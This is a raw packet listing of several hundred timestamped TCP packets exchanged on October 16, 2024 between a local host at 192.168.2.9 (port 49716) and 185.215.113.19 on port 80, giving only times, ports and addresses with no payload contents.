Oct 16, 2024 19:22:40.386652946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386673927 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386689901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386689901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386689901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386708975 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386713982 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386718988 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386723995 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386754036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386754036 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386815071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386815071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386815071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386827946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386827946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386841059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386846066 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386853933 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386857986 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386866093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386869907 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386873007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386873007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386878967 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.386897087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386929035 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386949062 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386991978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.386991978 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387015104 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387213945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387213945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387213945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387213945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387213945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387213945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387213945 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387310028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387310028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387310028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387310028 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387350082 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387355089 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387370110 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387373924 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387377977 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387381077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387382030 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387381077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387381077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387409925 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387413979 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387423038 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387427092 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387429953 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387439013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387443066 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387451887 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387454033 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387459040 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387469053 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387473106 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387481928 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387490034 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387531996 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387536049 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.387558937 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387684107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387684107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387684107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387684107 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387723923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387723923 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387754917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387754917 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387789965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387789965 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387917042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387917042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387917042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387917042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387917042 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387917995 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387974024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.387974024 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388005972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388005972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388216972 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388422012 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388422966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388422966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388422966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388422966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388463974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388463974 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388530016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388530016 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388565063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388565063 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388596058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388596058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388649940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388649940 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388746023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388746023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388746023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388746023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388746023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388921976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388921976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388921976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388921976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388921976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388921976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.388921976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389004946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389004946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389019966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389019966 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389077902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389077902 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389112949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389112949 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389147043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389147043 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389223099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389223099 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389252901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389252901 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389401913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389401913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389401913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389401913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389401913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389401913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389401913 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389460087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389460087 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389483929 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389494896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389494896 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389561892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389561892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389561892 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389585018 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389589071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389589071 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389605999 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389630079 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389633894 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389643908 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389647961 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389656067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389656067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389656067 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389657021 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389692068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389692068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389707088 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389712095 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389720917 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389787912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389787912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389787912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389787912 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389803886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389803886 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389810085 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389813900 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389827013 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389836073 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389838934 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389842033 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389851093 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389856100 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389866114 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.389910936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389910936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389910936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389910936 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389959097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389959097 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.389972925 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390003920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390003920 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390064955 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390065908 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390106916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390106916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390136957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390136957 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390176058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390176058 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390208960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390208960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390239954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390239954 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390366077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390366077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390366077 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390367031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390367031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390367031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390367031 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390444994 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.390459061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390459061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390459061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390459061 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390499115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390499115 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390542984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390542984 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390584946 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390655041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390655041 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390696049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390696049 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390724897 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390839100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390839100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390839100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390839100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390839100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390839100 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390847921 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.390862942 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.390875101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.390875101 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391016960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391016960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391016960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391017914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391017914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391017914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391017914 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391139030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391139030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391139030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391139030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391139030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391139030 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391295910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391295910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391295910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391295910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391295910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391295910 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391379118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391379118 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391406059 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391613007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391613007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391613007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391613007 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391613960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391613960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391613960 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391752958 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391786098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391786098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391786098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391786098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391786098 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391906023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391906023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391906023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391906977 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391906023 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391911983 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391921043 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391926050 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391936064 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391940117 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391942978 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391943932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391943932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391943932 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391947031 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391952038 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391956091 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391961098 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391962051 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.391964912 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391973019 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391977072 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391980886 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391984940 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391988993 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.391999006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.392072916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392072916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392072916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392072916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392072916 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392214060 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392215014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392215014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392215014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392215014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392215014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392215014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392215014 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392343998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392343998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392343998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392343998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392343998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392343998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392343998 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392385006 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.392389059 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.392398119 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.392467976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392467976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392467976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392467976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392467976 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392504930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392504930 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392534971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392534971 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392641068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392641068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392641068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392641068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392641068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392641068 CEST	49716	80	192.168.2.9	185.215.113.19
Oct 16, 2024 19:22:40.392673969 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.392678976 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.392688036 CEST	80	49716	185.215.113.19	192.168.2.9
Oct 16, 2024 19:22:40.392715931 CEST	49716	80	192.168.2.9	185.215.113.19
